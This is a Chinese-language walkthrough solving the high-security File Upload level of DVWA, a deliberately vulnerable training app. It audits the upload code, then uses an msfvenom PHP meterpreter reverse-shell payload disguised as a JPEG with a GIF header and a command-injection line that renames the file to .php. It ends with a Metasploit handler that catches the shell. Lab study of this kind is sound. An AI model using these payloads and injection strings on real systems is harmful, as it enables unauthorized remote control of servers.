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DVWA File Upload level high 通关

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12/01
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由于level 是 high

1.代码审计 
<?php

if( isset( $_POST[ 'Upload' ] ) ) {

    // Where are we going to be writing to?

    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];

    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?

    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&

        ( $uploaded_size < 100000 ) &&

        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?

        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {

            // No

            echo '<pre>Your image was not uploaded.</pre>';

        }

        else {

            // Yes!

            echo "<pre>{$target_path} succesfully uploaded!</pre>";

        }

    }

    else {

        // Invalid file

        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';

    }

}
可以看到对文件类型 和文件大小，文件后缀做了判断

2. 使用 msfvenom 生成 shellcode 

# lhost 为监听机ip（一般为本机）lport 为监听端口

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.ip.ip lport=3333 -f raw >> shell3.jpeg

3. 为了绕过 getimagesize 函数的检查，vi打开shell.jpeg，头部添加一行 GIF98

4. 上传文件

5. 点击菜单进入 Command Injection , 我们需要使用命令注入来将文件后缀由jpeg改为php，这样后面访问时，服务器会执行该文件

在框中输入： 

#查看

127.0.0.1|ls /app/hackable/uploads/shell3.jpeg

# 复制

127.0.0.1|cp /app/hackable/uploads/shell3.jpeg /app/hackable/uploads/shell3.php

6. 启动msf 等待我们的shellcode的连接 

msfconsole

sf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 192.168.ip.ip

lhost => 192.168.ip.ip

msf6 exploit(multi/handler) > set lport 3333

lport => 3333

msf6 exploit(multi/handler) > run

7. 浏览器中输入 

http://192.168.靶机.ip/hackable/uploads/shell3.php

8. msfconsole 将会看到连接信息，并可以使用命令操作靶机了

Ps： 当然使用weevely 也是一样可以实现的，唯一的区别，weevely是作为客户端去连靶机shellcode，而msf是作为服务端等靶机的shellcode来连

参考： https://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/

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